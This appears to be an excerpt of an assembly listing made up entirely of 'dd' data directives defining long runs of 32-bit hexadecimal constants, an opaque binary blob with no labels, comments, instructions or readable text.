		dd 41E35C00h, 0CA58D482h, 6A3C1AD7h, 479F0FAh, 31186879h
		dd 0EF65990Fh, 0F217200Bh, 9C1601BEh, 0D24A0448h, 22D8ECB9h
		dd 3C6948BDh, 8D012520h, 0ABCD81F2h, 10309766h,	35801389h
		dd 4B4002CAh, 4879D3F8h, 403AA826h, 68920A14h, 94A4E60Ah
		dd 9D23CC93h, 420F9901h, 3F18ABDBh, 3E911388h, 48F2370Fh
		dd 1C8B454h, 9A9548C0h,	2F642DD5h, 93001014h, 41FE9540h
		dd 120B682Ah, 0A2D7F863h, 6E130438h, 1C84D27Bh,	0F20488h
		dd 2ED1CEF7h, 1775D981h, 220AA69h, 2064EB0h, 8071CA4Bh
		dd 0A174468Fh, 7A3E5AC4h, 9D4C412Eh, 3457D5CDh,	5E37DDC4h
		dd 6DB13107h, 70206F67h, 0BC6412D7h, 0C7C1F73h,	741AA6Bh
		dd 0AC0EAF12h, 47F240B2h, 1FC22F30h, 4564CED0h,	82F10992h
		dd 5C54CFE4h, 0DCD1F88Ah, 0E8D2864Fh, 40E09E19h, 57EA8AB7h
		dd 4FAC9F02h, 0C585F2E5h, 63DCE49Ch, 432E98B3h,	2D9E00F9h
		dd 0B47FB22Bh, 952CF4A3h, 0B109CCADh, 862884DCh, 0E6AC40BDh
		dd 22C99000h, 0FB6D64ADh, 4655143Bh, 704CD40Ch,	5C517C58h
		dd 0D110E2FAh, 1D1CAC5Ch, 8281133Fh, 38718064h,	24562118h
		dd 0F677D7h, 2DB322FCh,	5CDD3AA3h, 5080724Fh, 2AF24AA8h
		dd 0EC5A07h, 0B77530Ah,	6AEE25DAh, 3D8BBE05h, 74C1AC8Ch
		dd 99007B3Ch, 5501A8B4h, 694DAE1Bh, 703B4EB5h, 97AA428h
		dd 4639D00h, 4F8ED18Fh,	72B21286h, 0C8F8CF2Fh, 0E88DC0D4h
		dd 1E4EEDD1h, 0DD27E091h, 0E1E9C043h, 50344CA1h, 1E6C90F2h
		dd 32D8CFAFh, 8E1ABB8h,	0E77B1157h, 271D5980h, 6A9A1833h
		dd 88230600h, 58D35562h, 7B3B249Fh, 0C4754034h,	672EA949h
		dd 1027DC8Ch, 6518034h,	0B5215D36h, 0D01D70B7h,	64C0E733h
		dd 41A91617h, 72B30ED3h, 0AF84A27h, 509CE4D7h, 0CA01FB03h
		dd 9FB90D56h, 301875B0h, 0EA41021Ch, 0C2BD242Ch, 0EA358E30h
		dd 0C24C4A25h, 9630A0BCh, 0DB43120Fh, 0C0F8F293h, 960F8E14h
		dd 6B070017h, 0D63E3B01h, 0E659C3A5h, 4F4210B8h, 79038443h
		dd 647AA7F5h, 0C9C4B381h, 0CACA8112h, 0D807B201h, 98EC2870h
		dd 0EC524508h, 297E3A61h, 0BC1CE8D3h, 690A67D0h, 0A78CC9D2h
		dd 18CE84E6h, 7884904Dh, 55A9214Fh, 0E0FC6204h,	0E47C9462h
		dd 5C903CA0h, 40771723h, 59EA68F2h, 0D77451C7h,	81098334h
		dd 68E448C5h, 0D2E8F563h, 0DE058948h, 9A553C62h, 954D08B0h
		dd 77A6DC10h, 441DA406h, 9CDCB2FCh, 4809FC90h, 86F5104Dh
		dd 6091D520h, 5323F44Eh, 0BAF9D8F8h, 0AAD02731h, 700C50A0h
		dd 0B736F17Ah, 80A21027h, 28102F8Fh, 0B700AB79h, 13B4C95Eh
		dd 70C8CAh, 4723740Dh, 10616644h, 0ACF18C28h, 88CF7228h
		dd 58B050D0h, 5CCC1020h, 0EC636700h, 329D39F0h,	2D1DD307h
		dd 0C20AF7Ch, 1DA0DAD0h, 80646AA4h, 0C90FB34Fh,	92A1E9h
		dd 910E94F8h, 23EA578Bh, 1004E203h, 95D2520h, 87DF4E78h
		dd 86BF64A0h, 71393785h, 5BF70E7Ah, 0A8619132h,	0D0CD9A6Dh
		dd 0C00246EDh, 9634DD09h, 80D08F0Eh, 4C5862E0h,	65590BE8h
		dd 2089E7F0h, 98A87818h, 0A48DC700h, 0AF33917h,	0F2EB00C3h
		dd 2AA3A026h, 681D2B38h, 0C7C9C23Fh, 91EA80EAh,	0B67E6Dh
		dd 2578FA5Ah, 0ED7CC559h, 19AA9418h, 0E299D39h,	0B7C0186Bh
		dd 34E6EAE1h, 67188F90h, 28703FB3h, 0DE9BFE82h,	33500030h
		dd 67F0AA47h, 83886100h, 417DAF16h, 0BD4600D4h,	53938540h
		dd 146032A5h, 0A25B9041h, 6B420001h, 8103CA7Ah,	0D01E2A9Dh
		dd 19C04BD8h, 5D351E0Fh, 8871B0h, 2A66C917h, 7E46AE20h
		dd 119D3D0Fh, 12A8988Bh, 23180767h, 511975FFh, 0BB25F1ADh
		dd 0EBFA00D1h, 44C18A4Ah, 96E07B4h, 0E7EB55Ch, 2CE07F4Fh
		dd 719F2F38h, 0F9417A32h, 0A5394023h, 21281827h, 0AE12F97Eh
		dd 0BF51A1Fh, 0A408FF86h, 0ED8F0118h, 0D5E531F6h, 509CC142h
		dd 0FF09F08Ch, 0A2772400h, 11431E3Fh, 0A123009Eh, 74FDE1CBh
		dd 29F276D6h, 782BC330h, 7FF1BDh, 1B27A39Fh, 0E8925BBEh
		dd 3D054107h, 960AF1Ch,	58E2C811h, 600083A7h, 89B85A7Ch
		dd 93E87E94h, 105B4931h, 781877AEh, 0A422737Ah,	7EA10C1Ch
		dd 33415FB4h, 843C6B15h, 88428304h, 0DF10033Dh,	515B7899h
		dd 0BCEE2100h, 0BABD6916h, 0A3F30079h, 453EDE75h, 581E2703h
		dd 3C5835A0h, 0C0675B49h, 9711F539h, 63007DCBh,	0F2E6E07Ah
		dd 0A0691D14h, 337C373Ch, 52816A9Dh, 0BAE1903h,	0D8176F90h
		dd 1D53FB7h, 2EB46403h,	809ED1EAh, 198A5531h, 0C2E736h
		dd 1EBDDCC6h, 8B6D16BAh, 0A2D09A19h, 11307329h,	77200078h
		dd 5152D899h, 0F9C383BFh, 545D41h, 0AB47C579h, 9D0B459Bh
		dd 617DCF03h, 0D0A4164Eh, 2210EFh, 3A5BD903h, 0F1839891h
		dd 5CC93860h, 6A1F240h,	658157B3h, 306009BDh, 0F5687C21h
		dd 1D361539h, 660C943Bh, 8C2143F3h, 58FDA601h, 2ABE2DEEh
		dd 0D78960F6h, 5F1C00B2h, 0D596D1BAh, 0D0306C69h, 0A1934134h
		dd 284C01F9h, 0BA9C5EA6h, 4B0898A5h, 4797321h, 7054B0F9h
		dd 0E63EC19Bh, 871803Ah, 0F22ADA0Dh, 0ED6638FCh, 0E3A6440Fh
		dd 8CCC98AAh, 0A8491F7Bh, 41CD150h, 0CB0E7503h,	0B7211AAAh
		dd 955C6DC3h, 684BA040h, 6D26EC4h, 0E81FBC95h, 3430087Dh
		dd 6FA4203Bh, 1098C3h
		dd 380D199Ah, 0F1EB6C8Ch, 79613567h, 0EF631450h, 0CEB200E4h
		dd 0BE67DFDh, 0D8A8FC13h, 54005C2Ch, 603DF242h,	15C04A69h
		dd 0AC4812DDh, 4B50D00h, 5EB6EF37h, 54A899D8h, 6304865Dh
		dd 7DD28BC4h, 21006263h, 1BC36AABh, 0F2018D56h,	607C009Dh
		dd 4B0F77D4h, 4D3ABFDBh, 0C6EE0028h, 3DB4B010h,	7935124Eh
		dd 0A42C2012h, 65012C71h, 3F45E772h, 8987C19h, 8B4A2181h
		dd 91B2C00h, 3ED03839h,	816F6048h, 9CFC8F5Bh, 61AD9F00h
		dd 1631626Ch, 14290CA5h, 0EF402044h, 0F0182150h, 0D4A03155h
		dd 0B200CAF1h, 65B8B718h, 113AEABBh, 2BAC16Eh, 0CB9F1EE0h
		dd 92C44113h, 25F26422h, 30E1330h, 77F8EEFh, 0BE62A964h
		dd 0F4199E21h, 13770161h, 20795F08h, 9C881E74h,	9EF50019h
		dd 8782C698h, 0B600A9C2h, 95EAB98Ah, 9263C150h,	7AA88170h
		dd 2C088C18h, 0C46F7262h, 82434080h, 0B0E6602Ch, 0AF033EFBh
		dd 0DFE47380h, 20C6EF66h, 7B46D4A6h, 2963C440h,	112C7772h
		dd 854400A7h, 47FDF12Ch, 414294Ch, 53B408C0h, 0BFBA8B80h
		dd 19F9E35h, 9B7885DDh,	20496D03h, 6C407DF8h, 27D222A8h
		dd 4C043713h, 51BC23h, 0B62FC349h, 53EC9ACBh, 4D4B3D0Eh
		dd 9468C065h, 387C01Bh,	584FDDBBh, 0A1008214h, 0E7C85E9Fh
		dd 16A474h, 5D2C7F02h, 8793D03Bh, 71C0B100h, 0FB24B78Ah
		dd 3D2499B9h, 0F97E0246h, 338E2845h, 20764ECCh,	339951F9h
		dd 2B8FC0Dh, 0E710F23h,	460A9FBh, 7400A3DFh, 2BA48A63h
		dd 3C9D495Dh, 5E01FC7Bh, 0CC87D383h, 800CF0Dh, 388B2D1Bh
		dd 4DE3A8C4h, 445038E5h, 41028C8Ah, 0AFB3A2F2h,	1022197Fh
		dd 0EAF5697Dh, 0A38A1C83h, 1F14812Fh, 20275597h, 0A94C156Ch
		dd 0C9FD80F0h, 9DE142h,	0CCC36070h, 0E96E48E4h,	7340DF01h
		dd 26C8E6BDh, 0A373886h, 0B8C0F93Dh, 179FCABBh,	341E009Dh
		dd 70129C42h, 520A6A7Bh, 0E839E9A6h, 9A3B644Ch,	20433F74h
		dd 95B38180h, 2F2A8BD3h, 70A96600h, 0E9F286EFh,	0A6410C67h
		dd 0CF486B17h, 190998Eh, 0F3B1CEBh, 85E5E8B6h, 4168A11Dh
		dd 1E4A7919h, 6E2912DFh, 0C16827B5h, 32B350AAh,	7F541E34h
		dd 8D3E4D00h, 121362A3h, 606F69DAh, 3FF9A000h, 605E2810h
		dd 58BD4CC8h, 42611924h, 7D208EC6h, 0A8EC0006h,	51BC7867h
		dd 66ED3A74h, 0C4661F04h, 0C485D288h, 6DA6403Fh, 0E4C2FEC3h
		dd 37DA00C9h, 89E6E22Ch, 0B9C0FB12h, 0DB20A656h, 70581DB9h
		dd 1E8B89FFh, 74A02C20h, 61FF18EFh, 13A4C819h, 3B39F060h
		dd 94106Fh, 1B8B0E67h, 0D2D5E8B4h, 45F20202h, 90211936h
		dd 0AD4F0h, 9BC64304h, 85C2376h, 3EB3EF18h, 146A8BA9h
		dd 5C364841h, 0F6C59C00h, 0ED0744B2h, 0AB2B3Eh,	0C0F932Eh
		dd 205480Ah, 0FB8A9B6Ah, 3CC143C2h, 648C5869h, 0B6B30F97h
		dd 1A83C38h, 4B7C36Bh, 2079401Dh, 0D905B697h, 0D5828FD2h
		dd 4923DC2Fh, 0CC1D4600h, 58A898F7h, 582E4EBh, 344BEED1h
		dd 96E5823h, 85FF99Fh, 46442CAAh, 0F9777940h, 2090ED4h
		dd 9F251CB1h, 8032912Ch, 0EB799602h, 51640A8Bh,	8CE4ACB8h
		dd 0F52943D1h, 1307E0C0h, 0C32990h, 9D2A41C5h, 870662A6h
		dd 0D4FC1E48h, 1D8678E0h, 29EE3C3h, 944E1CB7h, 4C11549Dh
		dd 39736880h, 0FB1709E2h, 3008352Bh, 34DF836Ah,	3117206Fh
		dd 9837D4A8h, 908103E4h, 650C5D5Ah, 0D271C408h,	2163C68Dh
		dd 0C374A900h, 9455F2B3h, 19F0603Ah, 0C1E75F6Bh, 89A8CE01h
		dd 30BED2ECh, 0F4E16C64h, 292E62EDh, 0A4A09415h, 0FBE3DA75h
		dd 11314505h, 0C180B30Eh, 126054C4h, 8878B6E8h,	0F91C4EBCh
		dd 2A42CD1Ah, 0A3D4FCB8h, 2FD130h, 618622E1h, 4C9449D6h
		dd 25B548h, 5E88C3F3h, 4FF3B8Fh, 0F564CA2Fh, 80809B73h
		dd 0F0BBC088h, 921B16FFh, 0CC7C071Dh, 0C0892726h, 0A30F2906h
		dd 8ADA8C02h, 909FEF9Ah, 48B903C4h, 2924824h, 353FC18Ch
		dd 764628E4h, 662C7802h, 8C31CF72h, 2C6E5710h, 24ED105h
		dd 74C1FBA2h, 0B2103FCFh, 0D40BD9DCh, 18E079F7h, 59994720h
		dd 8623683Ah, 7EF24500h, 86814FB3h, 6DE82E45h, 941F6BF5h
		dd 433AA804h, 2CA7D108h, 0B057E1h, 0A3E02C2Ah, 10034319h
		dd 4A5E79EBh, 31723Bh, 0B818CFC4h, 0C6D1A873h, 0E0C3E828h
		dd 49C02178h, 0B15A5719h, 50373E6h, 0A6D1A3BBh,	0ABF44034h
		dd 0AD86158Bh, 90FCBC00h, 0F26A1FD2h, 0D039247Bh, 0CFDB6708h
		dd 0F613BADEh, 6304048Ah, 1D6809BAh, 3B360878h,	430EBF61h
		dd 3D93E7h, 0AFBBEA19h,	0F447DE58h, 0F6B28C03h,	0F0248B46h
		dd 0F26DDF82h, 48CBA18h, 359976F9h, 0BC30C803h,	7B9B2003h
		dd 0F471F2FAh, 4D07CE3h, 0B9E8BFh, 0D0E2611Ch, 0BCE72296h
		dd 7B6464E1h, 0EA383042h, 51678382h, 6C7AD127h,	0B00777Eh
		dd 8B013D24h, 0B88AE963h, 6933001Dh, 0D66F96D4h, 0C5008191h
		dd 3C18DF0Dh, 7BC22B47h, 699A07E6h, 178FBEBDh, 0D267621Bh
		dd 6300AC7Ah, 4F7585F3h, 17C214Ah, 0BC414DAAh, 39128ADEh
		dd 7853FC4h, 4CBAAE28h,	0BD768DE0h, 0E06000D9h,	1C360B26h
		dd 0AE00D221h, 3DB3328Ch, 3063B675h, 0A6181B84h, 60823758h
		dd 0A82FF390h, 34FA088h, 61E61404h, 0C0B064A4h,	4B1E7F82h
		dd 6C8A448Bh, 0B0119489h, 41199E00h, 73D14592h,	100068BAh
		dd 257B7481h, 31AA2E9h,	343D021h, 1100E8B7h, 0D3C46667h
		dd 4D56CEEEh, 0A80E68CDh, 58209878h, 0BD2D0618h, 0EC71CCA8h
		dd 0B401037Dh, 478D3B3Fh, 0B6ECF98Bh, 0E852617Ah, 5098B26Eh
		dd 0E71EEC8Ch, 0A10A7630h, 3188647Bh, 0DEB8E0B1h, 15B841A1h
		dd 1A3180CEh, 0EF3A9D51h, 88C600B7h, 7D4ABB9Bh,	691E35E5h
		dd 4C838502h, 0C83EA322h, 2EBCE8h, 96CB570Ah, 94C558FEh
		dd 0D50F1AFAh, 9E5EF44Ch, 54851830h, 0ACE10A0Fh, 0D8204D06h
		dd 598838D7h, 99300F8h,	0A53B85Ah, 0E74CA41Ah, 82E3079Fh
		dd 3C05B05h, 0AA121Ch, 81EC30EEh, 8FA523D6h, 0D82039D1h
		dd 419EEE81h, 52140831h, 2F807F03h, 9846D40Bh, 10CA2F9h
		dd 53CF9D4Bh, 0DCE35996h, 0FD01638Dh, 4523069Ch, 34560A46h
		dd 80495408h, 0E43F4605h, 9C1FA03Eh, 84007B69h,	0D3681720h
		dd 6324CA14h, 0F062EC7Fh, 1764580Bh, 50AF2E94h,	602A0A0h
		dd 0ABF9DBDFh, 24F04440h, 157F803h, 11B92992h, 11074629h
		dd 3021DAACh, 0B510231Ch, 941C3A21h, 0E30C22A2h, 22121822h
		dd 0C0220D3Eh, 4609FFD9h, 0F22229D5h, 8979730Ch, 449608F4h
		dd 588F619h, 0F1250043h, 57635D93h, 0A609C474h,	1B616h
		dd 601C5B5Fh, 262D00A8h, 6A4B9FECh, 8C1E5F22h, 0CA8068ACh
		dd 0EEE5A5E6h, 0B1130011h, 15F02C34h, 4200FCFDh, 3B38DF7Bh
		dd 70B2BCDh, 6440F114h,	5A51F0B3h, 0D7005867h, 0B7F64E37h
		dd 74C0587h, 2C9F8E02h,	0A5A0AFF2h, 93A75396h, 3EE2E138h
		dd 6C880C0h, 89B3488Bh,	3CFCEADFh, 85BF7282h, 68339500h
		dd 4087B2E3h, 7A693D00h, 2DEC6C2Fh, 0A73B1E34h,	9A994060h
		dd 71AC1C8h, 46550A00h,	0C4C0E2AAh, 223A0083h, 4FAEF05Bh
		dd 0A90FBB78h, 0E011E71Ah, 0D9CB3D69h, 7C7D00A0h, 44E8C71Dh
		dd 151E6B14h, 0B2402B23h, 3D48A3F7h, 56E2CDh, 0DB17C4D2h
		dd 0CB058F55h, 2DE40D00h, 0C99212Fh, 0A9F01DFCh, 0D55DC078h
		dd 8B54905Eh, 8C4B230Eh, 685F400Ah, 4620C9Ah, 0DC0FEB18h
		dd 0F055C0B8h, 0DA269050h, 9F3FA3B5h, 3C0FE07h,	5509650Bh
		dd 97DB2442h, 1B4E005Ch
		dd 3FA8B623h, 0AE06A200h, 5C02B35Fh, 0DD7B4Fh, 74239E68h
		dd 0FC8C734Eh, 8607477Fh, 2408B60h, 5CC92570h, 10896097h
		dd 18FFCEC5h, 16AAAC07h, 22808ACAh, 3D0B54F8h, 1C009230h
		dd 0A18F0208h, 5D020C83h, 0FC313998h, 1A00FA0h,	136A2FD6h
		dd 0C201D475h, 0D589C0Bh, 0A86DC872h, 57383B00h, 8E4C964Bh
		dd 990BB400h, 0AE918F8h, 86CB073Ah, 9FE0B98Fh, 2B0510B8h
		dd 401A6D00h, 92E309D0h, 3C49EF7h, 0BB7F0861h, 0A4D3F098h
		dd 0D75851F0h, 2C0074C8h, 1A5CDC57h, 7E5DF148h,	0A7537h
		dd 655627EDh, 0D2B0C8D4h, 0F21A1200h, 5B59B814h, 0E22B00E1h
		dd 0C98A39Eh, 2E00C72Dh, 21EB27AEh, 3E6DEEC2h, 600B118h
		dd 3FFB74F7h, 73FA68ADh, 0C0521400h, 7CE735CDh,	0FC3D1C29h
		dd 59B0C13Ah, 0F08F7DBFh, 0A103EBD2h, 0E311DC31h, 70790015h
		dd 0B6226740h, 1F0134C7h, 0EFDADF33h, 0B8786C8Fh, 0A0620070h
		dd 17A9AA95h, 0DDFEE7C9h, 80292338h, 6F684898h,	3E9A58h
		dd 1E85E0D7h, 80CB9F53h, 0C8C119FEh, 6D46DCD5h,	0C1F5DCh
		dd 0FEE60931h, 25520314h, 53B3B500h, 2061621Bh,	316B00EEh
		dd 6802F808h, 0D61D9C8Ah, 22C04176h, 0B7C2A73Ah, 0E1F86Ah
		dd 32A4E9A2h, 0F2D6ED03h, 284248h, 0AE9AB7F7h, 7A3FC72h
		dd 4F4A5E3Fh, 0E224308Ah, 57486F2Dh, 2CD401B4h,	4658227Eh
		dd 68261F8h, 0BA79B4CFh, 0C400E891h, 2F3B3ED0h,	0E1E36Dh
		dd 89CD8C5Eh, 3CDF9F05h, 7D7C3F3Bh, 8928F7Bh, 51D21D03h
		dd 3F8A2545h, 0D89F0AB0h, 542200F1h, 0EA268C0Eh, 0D0B880F5h
		dd 9B112F56h, 0ED8A0C87h, 8918E702h, 0DB981A07h, 63313E2Bh
		dd 280C8D1h, 9571877Ch,	9B24C167h, 0C20F10A8h, 0C0740F3Bh
		dd 6AC5E737h, 9C407E3h,	20F1DA97h, 8A16F296h, 0FDD6A807h
		dd 0B397A2D3h, 4500D64Ah, 518FCAAAh, 577C0069h,	8E899DADh
		dd 55059664h, 8A66E025h, 3B58C2h, 271A9A07h, 57DAB300h
		dd 9914609Dh, 2F200EE0h, 72A41F05h, 130C03Fh, 0B3335DD9h
		dd 1C8D2231h, 3B4CDA70h, 0CF41D80h, 53A76605h, 3AD6FC02h
		dd 48ACAE3Eh, 9D16DCh, 846FAB86h, 817AA1D8h, 0B3B47E1Fh
		dd 5BAC05B9h, 0C6B0B22Ch, 0BA570080h, 3F75FFC9h, 0BF0332F8h
		dd 34265808h, 0D954986Eh, 72A67E46h, 0ECA37724h, 5C43034Ah
		dd 3D9DF06Fh, 126288F0h, 280987FCh, 80CE327Ah, 0AB533124h
		dd 7977032Dh, 294C639Bh, 4E2362A0h, 6864A30Fh, 5AACC0FCh
		dd 1DB551Dh, 0DDF56D82h, 71FEC6F6h, 0D51681C8h,	7086C7B3h
		dd 0D126CCh, 0AC93776Eh, 7FE3E261h, 80E0423Bh, 0ADA8B45Eh
		dd 0BDEBDD03h, 4B77C880h, 760B407Ch, 6073F6C5h,	86A9E0h
		dd 0C9D14590h, 61133DCDh, 65E30400h, 8EAA417Eh,	7C8200DFh
		dd 634A5C89h, 9400A0D0h, 0D3E12C23h, 380B69F8h,	3D81AA02h
		dd 4A710547h, 48A460ECh, 0E0BEB811h, 0CE605000h, 0DE7FB530h
		dd 0E63D3490h, 9413A986h, 15475E01h, 9B30ED52h,	0E8EC1E07h
		dd 8A4E00D8h, 38306035h, 1940A400h, 7F65B35Bh, 62D938B8h
		dd 76944B02h, 0E1609A81h, 493FB2CFh, 664582A0h,	422B264Fh
		dd 5B38409Dh, 6BF3008Dh, 7691D667h, 9A002F96h, 0BC74A7E6h
		dd 48C44FBEh, 0DF803015h, 0DCC95733h, 1C756178h, 0DD200A01h
		dd 0B1F1BC82h, 0B05D6E8Fh, 12686E20h, 86010EEBh, 0F46D170Dh
		dd 8478BBF1h, 0DFD2C000h, 3A9A04B0h, 6D390F00h,	26804E6Eh
		dd 0B98D00BBh, 0DE9BE0D3h, 0FE00B3BCh, 3F143CC7h, 57FD01h
		dd 0A5A342A1h, 0B75A84E1h, 4EDEF400h, 8DF0CF05h, 3E4F000Ch
		dd 0B021F6A9h, 64123607h, 2800E5E3h, 0D435F5F9h, 40470409h
		dd 0C0DFE4D9h, 94CC89A4h, 0C443DC00h, 0FDD8412Ch, 74C370FAh
		dd 640B026h, 5C0A2BB5h,	6000C096h, 0A490C073h, 0EE1B46h
		dd 2F4E0CD8h, 6D9ABA1Fh, 0C0885B00h, 801D7E7Bh,	762725Eh
		dd 1CA89E79h, 0C2E200B4h, 26014205h, 7ED495EEh,	0AD0003EFh
		dd 3D1C2EECh, 504A87A9h, 1C0086A2h, 4BE5F2CAh, 0A03201FCh
		dd 0E2082E9h, 95EFC80Ah, 0FFCB3E00h, 0D5A2DFEBh, 2CBF7D43h
		dd 806C2CB5h, 732E925h,	48009A67h, 64C0E801h, 7761DCCh
		dd 0B67873A6h, 0A0B2C01Eh, 9900FF24h, 102CD620h, 0FDDCB0h
		dd 4171F906h, 260A544h,	995D0B02h, 90788C54h, 0CE4CC4h
		dd 0A8BC4F0Ah, 0E037C8Fh, 4FE048h, 0DB62CB0Dh, 0CE4F8F1h
		dd 1F95AC36h, 0C4289772h, 882CA89Ch, 0CC0079CBh, 10652A9h
		dd 46A70545h, 0AED31247h, 0B41878C0h, 0EB9400A6h, 2C04D0C6h
		dd 0C5001007h, 8B4B494Fh, 28D8A9Dh, 0A70CAE62h,	0A8856976h
		dd 0FE80C355h, 0F43A33C9h, 0DB00309Ch, 59295E5Bh, 0CE84A2h
		dd 1E587FA3h, 9F907A76h, 6679BC07h, 0C8D3CF3Bh,	0BAE9C89Eh
		dd 6AB1888h, 0F73011CAh, 5FC6CE0Bh, 1D0800A7h, 316499EDh
		dd 96108FD5h, 31E1E441h, 0C8456700h, 0A2CD2EC5h, 8AD30798h
		dd 501ADDB6h, 11BD8B2h,	968C1913h, 0A0499883h, 0BDD2Dh
		dd 3A8767BCh, 0B0449922h, 7A606090h, 1DDB1210h,	0BF0D280Ah
		dd 0FCD718FAh, 51A0486Ch, 1CA56A40h, 0C0542D28h, 761896D0h
		dd 0A2024E87h, 865915EAh, 0BBB685DAh, 0A534A7C0h, 339000FFh
		dd 0E9A1F4D3h, 0C302FDC1h, 0A44397EDh, 14D448F2h, 20E16E15h
		dd 0CF1366A2h, 7D6F7EE0h, 0D90B8374h, 578AC6h, 0FC8BD75Ah
		dd 0F9F7001Bh, 0F0A1A922h, 0D403E369h, 0E7267BCBh, 8B60E033h
		dd 0B6AA3934h, 5003FAB8h, 0FF7C57A9h, 5C1F7FA0h, 0AE1C7024h
		dd 0F4739500h, 0F99FCCFh, 1B7BD809h, 2810CA80h,	0CC020A9Fh
		dd 804C4866h, 5F0440A4h, 243D074Fh, 2555A7E0h, 5708F068h
		dd 95EACB03h, 0B0280B03h, 66303Bh, 93DEF10Ah, 0D022B04Fh
		dd 735B8200h, 0C602AEA8h, 2C4B9E6h, 69639D30h, 61D69420h
		dd 0D81000A4h, 1CBD8E3Ah, 160B2FD7h, 8ED02B0Ch,	6794C234h
		dd 6E54E18Ch, 0B984B3CFh, 5074F727h, 5977D5h, 6B30D6CAh
		dd 0ABD8322Bh, 92308B63h, 5A52888Fh, 58D43C65h,	0B81FED80h
		dd 8A478BBCh, 10828000h, 0F031A660h, 77800B7h, 441FDFC0h
		dd 6BE446A9h, 0E2131601h, 0CBE770D0h, 0F6431E8h, 5E932934h
		dd 0C999A80h, 0C6001CE0h, 0F456596h, 0B3B8AE7h,	3858C3CBh
		dd 0C4F5480h, 0F85D48E3h, 0FD4877C0h, 0C31400A8h, 0A8495DFCh
		dd 8BF1C767h, 8C7731F9h, 0B169F872h, 0B68FAA00h, 766291CAh
		dd 94C01319h, 0C44407A0h, 70DB609Fh, 0D1634AABh, 0BF857940h
		dd 781B7C0h, 5E330203h,	0E7CB3AEDh, 99B2CE0h, 468BA05h
		dd 0B081223Bh, 15C02DEAh, 0F46E00A3h, 49E7C6CBh, 0EE715210h
		dd 0A4009976h, 0E1317A9h, 116D2F1h, 0B8ED20DAh,	0E0FDD719h
		dd 320086E0h, 2DF52F57h, 0C5FADEh, 1D3DD246h, 0F30C07B4h
		dd 7D9EEE1Fh, 0D700C726h, 485E4223h, 0EFA44h, 0F4FDD0FFh
		dd 3DD8DE9Dh, 5D396403h, 0C00862DDh, 0BE307888h, 67340774h
		dd 12793074h, 0BF0059B7h, 0F29AF9E8h, 0DB36A6h,	2F75683Ch
		dd 0A354115Bh, 73914C00h, 0B5518BE2h, 36C60024h, 0EA023E16h
		dd 5B138639h, 740067DBh, 0FDB27109h, 0F13416A8h, 7DA8493Eh
		dd 0DBF49464h, 0F3F63D1Fh, 378D09h, 1D5C7C5Bh, 649317BAh
		dd 6960001Eh, 0C13134EBh, 0FECD090h, 0F9496A00h, 0BE78A33Dh
		dd 5680012h, 22DDDE8h, 50EA98F0h, 0B05F4E01h, 3A58BCECh
		dd 4B007ABCh, 29E01555h, 0D200340Bh, 0AD1A08B9h, 0E1C48D7h
		dd 0C4212E1Bh, 2BC9EDEh, 0BE2A0451h, 5CA0888Eh,	982D30A6h
		dd 376AB700h, 0DA5101E5h
		dd 0FBDB2EE1h, 66190068h, 0BD537F39h, 14A8C400h, 16C96C78h
		dd 0BBD30126h, 90B1A174h, 42E8206Eh, 38A6D4A3h,	3C9DF500h
		dd 0CCDA4897h, 6D6300F6h, 0C07282F2h, 200034A2h, 86572DFEh
		dd 5F2751h, 8132898Ch, 9DAD91ECh, 84349524h, 778B4880h
		dd 0D1727Eh, 18AFB10Fh,	50F10BD5h, 3130900Eh, 0A682A096h
		dd 0DDB8BEh, 24776A86h,	4410B0C9h, 0D5F3F501h, 0CD30337Eh
		dd 0EA2879ECh, 5B1409FFh, 0E080F816h, 2BD8A684h, 0F76C851Eh
		dd 0ABA3F980h, 713ACB2h, 1EFC55FFh, 7A1F18Eh, 1D9420BEh
		dd 10B4B500h, 19702BEDh, 578F00CCh, 490C0822h, 141D3490h
		dd 0E05E940Eh, 0F50BA0C0h, 31AFDEh, 0D96DE3FEh,	0F8923A42h
		dd 9633C707h, 5EC0385Ah, 0E46FB3B1h, 60BA0385h,	0AB814986h
		dd 0ECC446B0h, 374D2A00h, 3F47F007h, 623900B1h,	965A845h
		dd 0E804FB0Ch, 0D6E604CCh, 0A3D4B0h, 9081AFA4h,	196C3311h
		dd 871D8096h, 32A69B40h, 1AD85Bh, 591893ECh, 9F83AEA1h
		dd 0BFF36400h, 58860AD3h, 0B63200E0h, 540D2096h, 0CD605FD9h
		dd 8C889E30h, 11E60984h, 0D08114C0h, 22252DBEh,	32070088h
		dd 9603F399h, 3E7898B5h, 0BCCA1F5Fh, 97A500A0h,	8FD186E2h
		dd 44D500ABh, 9AD21559h, 1C5D7A8Ch, 0E0700450h,	28F54175h
		dd 311F4F4h, 0A4E76252h, 0ABC86D45h, 9C02A73Dh,	0A9E4B7C2h
		dd 26926016h, 0A6680EC3h, 69A075D9h, 0B99E3CFBh, 0CB2F1D2Ch
		dd 40DF490Eh, 0DB7BEBC1h, 0ECF4B8B8h, 4B870073h, 0CC90E512h
		dd 5EF0B6EAh, 0F0587774h, 2DAD80D4h, 0B19116h, 5C513C9Bh
		dd 7AB958C6h, 7745EE02h, 5414F947h, 2A2800E8h, 73535D97h
		dd 8F90B400h, 0D0D374B8h, 113000F0h, 64FC3610h,	0D94C1E07h
		dd 970C006Ch, 0B150A883h, 93D50027h, 0D0145E75h, 0D912A9ECh
		dd 600235C7h, 30EBAAFBh, 0ED13633Ah, 0DC001D9Bh, 0AF8D558Eh
		dd 0B55400D3h, 9DBD0934h, 4005264h, 5720CC39h, 1ED8A9Ch
		dd 7A3C4D91h, 7085DC9Bh, 0B990E5D5h, 0E2163F03h, 0A13DC8F6h
		dd 0A8D06327h, 6C7F1CC6h, 0DA2C24h, 53D10160h, 0DB008807h
		dd 0A22F4D9Ch, 8C74C7h,	24CF5491h, 1A9D42DDh, 31DBFE33h
		dd 9A80F8D5h, 0B09500DEh, 0A320A9B5h, 2500F762h, 0B1CF5113h
		dd 3B16807Eh, 7D80D7EFh, 0B7542AD1h, 0BB1C7097h, 779CCE0Fh
		dd 0BFDE1202h, 2A5EE0DAh, 417EE38h, 81A78A99h, 0B923h
		dd 0DAFBBD67h, 1FE62211h, 137E0C9h, 66312BAh, 14A030B3h
		dd 0F5019B00h, 0DAFFB915h, 0B18B3823h, 0C3F4E200h, 0B696F813h
		dd 0E1FDFC00h, 7C521D7h, 0B37C0498h, 0B92CBAE2h, 25711694h
		dd 820CB4h, 341866F4h, 3516747h, 22186160h, 1768604Eh
		dd 0D73F0A23h, 6648F0A4h, 7F0E97BFh, 80C7B37Dh,	0EAFFC37Ah
		dd 254E077Bh, 0D002F3EBh, 0EFB22EAAh, 0FD507F7Dh, 0BD036820h
